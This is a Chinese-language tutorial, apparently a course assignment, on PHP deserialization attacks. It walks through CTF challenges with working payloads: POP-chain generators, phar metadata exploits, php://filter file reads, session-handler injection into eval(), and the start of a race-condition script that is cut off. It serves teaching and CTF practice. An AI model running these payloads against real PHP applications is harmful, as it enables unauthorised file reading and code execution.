文章来源|MS08067 Web高级攻防第3期作业
本文作者:绿冰壶(Web高级攻防3期学员)
为了方便数据存储,php通常会将数组等数据转换为序列化形式存储,那么什么是序列化呢?序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
网上有一个形象的例子,这个例子会让我们深刻的记住序列化的目的是方便数据的传输和存储。而在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
下面附一张形象的过程图。
php将数据序列化和反序列化会用到两个函数:serialize() 将对象格式化成有序的字符串unserialize() 将字符串还原成原来的对象。
php反序列化是代码审计的必要基础,同时这一知识点是ctf比赛的常备知识点。由于php对象需要表达的内容较多,所以会有一个基本类型表达的基本格式,大体分为六个类型。
布尔值(bool) | b:value-->例:b:0 |
---|---|
整数型(int) | i:value-->例:i:1 |
字符串型(str) | s:/length:"value"-->例:s:4:"aaaa" |
数组型(array) | a:/length:{key:value pairs};-->例:a:1:{i:1:/s:1:"a"} |
对象型(object) | O:<class_name_length> |
NULL型 | N |
p.s:这个表由于md的语法有点混乱,请自行把用于转义的** 和 / 屏蔽掉
完整英文版
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
php反序列化样例:
<?php class message{
public $from='d';
public $msg='m';
public $to='1';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
输出:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
同时需要注意:序列化后的内容只有成员变量,没有成员函数,如下例:
<?php
class test{
public $a;
public $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>
输出:
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
通过输出结果我们可以看到,construct()和happy()函数包括函数里面的类不会被输出。
而如果变量前是protected,则会在变量名前加上\x00*\x00
,private则会在变量名前加上\x00类名\x00
。如以下案例:
<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
输出会导致不可见字符\x00的丢失,所以存储更推荐采用base64编码的形式:
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
实际的挖洞过程中经常没有合适的利用链,这需要利用php本身自带的原生类。下面介绍一些反序列化利用的魔术方法。
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct() //对象被创建时触发
我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc。
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
?>
例题:[网鼎杯 2020 青龙组]AreUSerialz(BUUCTF)
进入题目,首先进行源码审计
<?phpinclude("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先找到可利用的危险函数**file_get_content()**然后逐步回溯发现是__destruct()--> process()-->read()
这样一个调用过程。
两个绕过:1.__destruct()中要求op!===2且process()中要求op==2
这样用$op=2绕过
2.绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符在32-125之外,但是对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。
最终payload:
<?php
class FileHandler {
public $op=2;
public $filename="/var/www/html/flag.php";
public $content;
}
$a=new FileHandler;
echo serialize($a);?>
把payload运行后得到的序列化结果传入str得到flag:
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
对于下面这样一个自定义类
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
如果执行:unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为666
而把对象属性个数的值增大执行:unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
输出结果为abc。
例题:[极客大挑战 2019]PHP
题目给出提示,网站存在备份。用dirsearch扫描出存在www.zip备份文件,下载下来开始审计。
index.php里规定了反序列化的参数,而且调用了class.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
解题的重点看来就在class.php中了
<?php
include 'flag.php';error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
审计源码我们可以得出,当username=admin且password=100时得到flag,但是 weakup()
魔术方法会把username重置为guest,因此我们需要绕过weakup()
。
先构造payload生成序列化字符串
<?php
class Name {private $username='admin';
private $password=100;
}
$a=new Name;
echo serialize($a);
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
再将字符串中Name后冒号后的”2“改为”3”这样就可以触发wakeup绕过漏洞。
最终传入的序列化字符串:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
加上%00是因为username和password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失且本题的php版本低于7.1
绕过部分正则
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头。我们在反序列化中有两种方法绕过:
1.利用加号绕过
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
2.serialize(array(a ) ) ; //a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
利用引用使两值恒等
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){ if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());
上面这个例子将$b
设置为$a
的引用,可以使$a
永远与$b
相等
16进制绕过字符过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
反序列化字符逃逸的原理就是利用题目中存在的字符过滤替换,造成过滤后字符变多或变少的情况。来进行字符串逃逸。对于这两种情况有dalao做了一个形象的比喻:插进去和拔出来(羞)。我觉得非常不戳。
样例:反序列化字符变多逃逸案例
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
代码原理很简单,就是把一个x替换为两个x。传入不带x的name,反序列化不会有什么异常。那如果传入x呢?
我们可以看到过滤后反序列化字符串产生失败,这是由于溢出(s本来是4结果多了一个字符出来)
我们传入
name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}(20个字符)
此时x一个会被替换成两个。这会造成什么后果呢?
我们原本的序列化中s:43 的内容是
name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}
替换后 序列化中s:43中的内容是
name=maoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(40个x)
从而导致下列溢出
";i:1;s:6:"woaini";}
而前串已经被“;闭合。从而导致下列字符逃逸,且被单独反序列化。
i:1;s:6:"woaini";
样例:反序列化字符变少逃逸案例
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
?>
代码同样很清楚,将两个x过滤为一个x。先随便构造一个看看结果
原理相似 传参
name=kkyxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(40个x)&age=11";s:3:"age";s:6:"woaini";}
过滤后会减少二十个x字符,此时
";s:3:"age";s:28:"11
进入原字符串。并被 **" ;**闭合。从而下述字符串成功逃逸并被反序列化。
s:3:"age";s:6:"woaini";}
小灵感:做题中计算多少位多计算一位
例题:0CTF-2016-piapiapia
进入题目后发现是个登录页面,尝试爆破密码失败后用dirsearch扫描,扫出register.php
。注册后录,发现还需要填一些个人信息,一顿操作猛如虎,啥用没有。
突然想起dirsearh扫描中还有www.zip源码泄露。
在config.php
中看到了flag 但是不可读
profile.php里有反序列化。后面我们看到了profile[‘photo’]替换为config.php,那么我们就能读取config.php里的flag。
整理一下源码逻辑结构
register-->login-->update-->profile
登录和注册不看,从update开始
跟进update_profile
跟进filter:
这里我们发现,假如我们传入where filter会将它替换为hacker。这样字符串就会变长一个字符。同时我们想将
";}(数组类型需要多逃逸一个花括号)s:5:“photo”;s:10:“config.php”;}
逃逸,因此我们需要在nickname中传入34个where。本题为post传参,在burp里修改nickname(改为数组类型绕过长度限制)访问profile即可在图片的base64编码中找到flag。
例题:2019安洵杯easy_serialize_php
<?php$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
前置知识:extract()变量覆盖
if($_SESSION){
unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
这里 extract()
会将post传参进行变量覆盖。
extract()覆盖同样可以覆盖session变量的值。
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
审计这一部分代码我们可以得出f传参phpinfo可以获取phpinfo()。而且题目提示phpinfo()里有好东西 。
d0g3_f1ag.php 出题人诚不欺我,果然有好东西。看来这个题的思路就是想办法读取d0g3_f1ag.php了。
继续审计,发现一个过滤函数,将php,flag,php5等字符替换为空。这个函数我们一会有大用(想到反序列化字符逃逸)
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';//这变成了一个正则表达式了哦
return preg_replace($filter,'',$img);//看一下img里面有没有filter的东西,有的话,换成空格
}
php字符反序列化键逃逸
直接来看大佬的payload
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
为什么这样写呢,我们做个简单的测试,首先要明确一点啊,我们逃逸的目标是确保
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
被当成一个独立的值反序列化。
<?php
header("Content-type:text/html;charset=utf-8");echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));
echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>
图片来源:https://blog.csdn.net/weixin_44632787/article/details/119185112?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link
图片作者:若丶时光破灭
dalao的这张图片讲的非常清楚了,添加img属性前后的变化。
那我们在想像以下,过滤后字符串又会发生什么变化呢?结合我们之前的过滤函数,我们知道 phpflag 七个字符会被替换为空,此时s:7字符串会自动向后递补七个字符 也就是";s:48:
此时我们添加的img属性就会成功被反序列化。
这样应该就把dalao的payload讲清楚了。也更加深刻的理解了以下反序列化字符逃逸漏洞,感觉字符逃逸的漏洞关键还是要提前构造出反序列化来测试一下才好确定跳过字符数,不知道还有没有更好的办法。
当用户的请求在传给反序列化函数unserialize()
之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize
函数,最终导致一个在该应用范围内的任意PHP对象注入。对象注入类似于一个利用反序列化魔术方法进行变量覆盖的过程。
对象漏洞出现得满足两个前提
1、
unserialize
的参数可控。2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
给出一个案例帮助理解
<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);
在脚本运行结束后便会调用_destruct
函数,同时会覆盖test变量输出maomi
此时必须回顾一下文章前面提到过的php魔术方法知识
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct() //对象被创建时触发
前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找包含关键代码的函数的类与同属于其类中的敏感函数联系起来,层层递进达到调用的效果。
例题:MRCTF2020-Ezpop
非常有好的带注释的源码
Welcome to index.php
<?php
//flag is in flag.php //提示:flag在flag.php文件内,猜测是当前网站根目录下的flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!class Modifier { //类,Modifier
protected $var; //保护属性,$var
public function append($value){ //自定义方法,append($value)
include($value); //文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容
}
public function __invoke(){ //__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
$this->append($this->var); //把保护属性$var传入自定义方法append($value),执行一次
}
}
//很明显:
//这里我们要想执行文件包含flag.php,那么就要调用append($value)方法
//这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法
//这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数
//这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php://filter....................[省略]
class Show{ //类,Show
public $source; //公有属性,$source
public $str; //公有属性,$str
public function __construct($file='index.php'){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->source = $file; //给$this->source属性赋值$file
echo 'Welcome to '.$this->source."<br>"; //打印字符串
}
public function __toString(){ //__toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用
return $this->str->source; //返回,str属性值的source属性
}
public function __wakeup(){ //__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //正则匹配source属性的值
echo "hacker";
$this->source = "index.php"; //source属性赋值为index.php
}
}
}
//很明显:
//__toString()魔术方法,有以下特征“$this->str->source”
//所以说,我们可以给str属性赋值为Test类的对象,那么由于该对象没有source属性,那么就会调用Test类的__get()魔术方法
//那么想要调用__toString魔术方法,就需要Show类的对象被当作字符串操作
//很明显,我们的__wakeup()魔术方法,里面有source属性被当作字符串去比较,所以我们可以给source属性赋值为Show属性的对象
//所以只要,我们可以利用反序列化,调用__wake()魔术方法,且source赋值为该类的对象,str属性赋值为Test类的对象即可
class Test{ //类,Test
public $p; //公有属性,$p
public function __construct(){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->p = array(); //属性$p初始化为数组
}
public function __get($key){ //__get()魔术方法,访问该类中不可访问的属性,自动被调用
$function = $this->p; //属性$this->p赋值给$function
return $function(); //把$function调用为$function()函数
}
}
//很明显:
//这里的属性$p可以触发,__invoke()魔术方法,所以只要给$p赋值为Modifier类的对象即可
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
代码审计,题目首先提示flag在flag.php里,然后看到可以get传参给pop而且pop会被反序列化。那就开始寻找可以利用的危险函数。
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
找了一圈,在Modifier类中找到了append方法中存在include函数,那么这个题想必就是利用modifier类中的append方法调用include函数对flag.php进行文件包含。
要想利用append方法,还得借助Modifier中的另一个方法,也是我们常见的魔术方法,它会在当尝试将对象调用为函数时被触发。那我们就回到源码去寻找将对象调用为函数的地方
class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
}
找到了Test类中的get方法。继续找,get方法会在访问不存在的属性时被调用,寻找这样的属性,找到了tostring方法中str根本不存在source属性
public function __toString(){
return $this->str->source;
}
tostring方法又是怎么被调用的呢?__toString() 当把类当作字符串使用时被触发。这样又找到了construct()方法中的echo $this->source可以调用
__toString
最后,show类中还有一个魔术方法是wakeup()会在反序列化时自动被调用,pop链成功与反序列化衔接。
这样完整的pop链就是
unserialize()-->wakeup()-->construct()-->tostring()-->get()-->invoke()-->append()-->include()
给出payload:
<?phpclass Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
$this->str =new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier;
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
?>
未完待续,允许我先划一波水
phar是什么
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
流包装器是什么
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize())。phar://就是一种内置的流包装器。
php中一些常见的流包装器如下:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
phar的格式
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。content:被压缩文件的内容signature (可空):签名,放在末尾。
如何生成一个phar文件
<?php
class Test {//自定义
}@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
漏洞利用条件
:
、/
、phar
等特殊字符没有被过滤。限制绕过方式:当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
phar反序列化例题:
[CISCN2019 华北赛区 Day1 Web1]Dropbox
题目打开首先是个登录界面,随意注册登陆后是一个模拟网盘软件的东东,可以上传文件,虽然知道大概是有过滤/现在但是我们还是先随意上传了一个shell.
果不其然,限制了只允许图片类型上传。上传成功后发现有个下载选项,点击该选项并抓包发现下载文件的内容全由参数filename控制,也就是说这里可能存在任意文件下载。这大概是能下载源码的节奏。
dirsearch扫一波下载各种源码。
审计源码发现我们需要通过User调用File中的close()读取flag但是要经FileList绕一下,不然没有回显
给出payload:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将生成的phar文件更改文件类型上传
点击删除文件并抓包,在delete里面读取phar得到flag
session是什么
session在计算机中,特别是在web应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量不会丢失或改变。当用户请求来自应用程序的Web页时,如果该用户还没有会话,则Web服务器将自动创建一个Session对象,当会话过期或被放弃后,服务器将自动销毁该会话。
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session 的存储机制php中的session中的内容不是放在内存中,而是以文件的方式来存储,存储方式由配置项session.save_handler来进行确定,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的
php_serialize | 经过serialize()函数序列化数组 |
---|---|
php | 键名+竖线+经过serialize()函数处理的值 |
php_binary | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
常见的session存储路径:
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
php.ini中一些session配置
session.save_path="" --设置session的存储路径
session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
要了解为什么出现session漏洞,首先要了解session机制中对序列化是如何处理的。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
简单来说,默认的引擎是php-serialize,而当你发现session解析使用的引擎是php,由于反序列化和序列化使用的处理器不同,导致数据的格式不同,进而会导致数据无法正确反序列化,那么就可以通过构造愉快地伪造任意数据。
样例源码
1.php
<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name."!";
}
}
?>
1.php和2.php的唯一区别就是:使用了不同的解析引擎处理session。
攻击思路:
1.先生成一个序列化字符串
<?php
class student{
var $name;
var $age;
}
$a = new student();
$a->name = "daye";
$a->age = "100";
echo serialize($a);
?>
O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}
2.分别访问1/2.php 将获得的字符串(前面加|)作为参数传入
payload:
|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}
访问1.php,由于1.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。传参后查看一下本地session文件,发现payload已经存入到session文件。
接着访问2.php,由于使用php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。
利用条件主要是存在session反序列化漏洞。
从文件包含和反序列化两个利用点,可以发现,利用PHP_SESSION_UPLOAD_PROGRESS
可以绕过大部分过滤,而且传输的数据也不易发现。
测试环境:
php5.5.38
win10
session.serialize_handler=php_serialize,
其余session相关配置为默认值
测试源码:
<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle=new TimeNow();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
$this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
}
function action() {
eval($this->ip);
}
}
?>
来源:https://www.freebuf.com/news/202819.html
作者:TGAO
测试过程
首先审计代码,发现没有参数可控的地方,但是了解php.ini
中session.serialize_handler=php_serialize
存在session反序列化漏洞,这样的话利用文件名可控,就可以构造恶意序列化语句并写入session文件。同样我们面对着session会被删除的问题,需要条件竞争。
首先利用exp.php脚本构造恶意序列化语句
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle = new IP();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
//$this->ip='payload';
$this->ip='phpinfo();';
//$this->ip='print_r(scandir('/'));';
}
function action() {
eval($this->ip);
}
}
$a=new Door();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:4:","|O:4:",$c);
echo $d;
?>
其次利用exp.py脚本进行竞争
#coding=utf-8
import requests
import threading
import io
import sys
def exp(ip,port):
f = io.BytesIO(b'a' * 1024 *1024*1)
while True:
et.wait()
url = 'http://'+ip+':'+str(port)+'/1.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
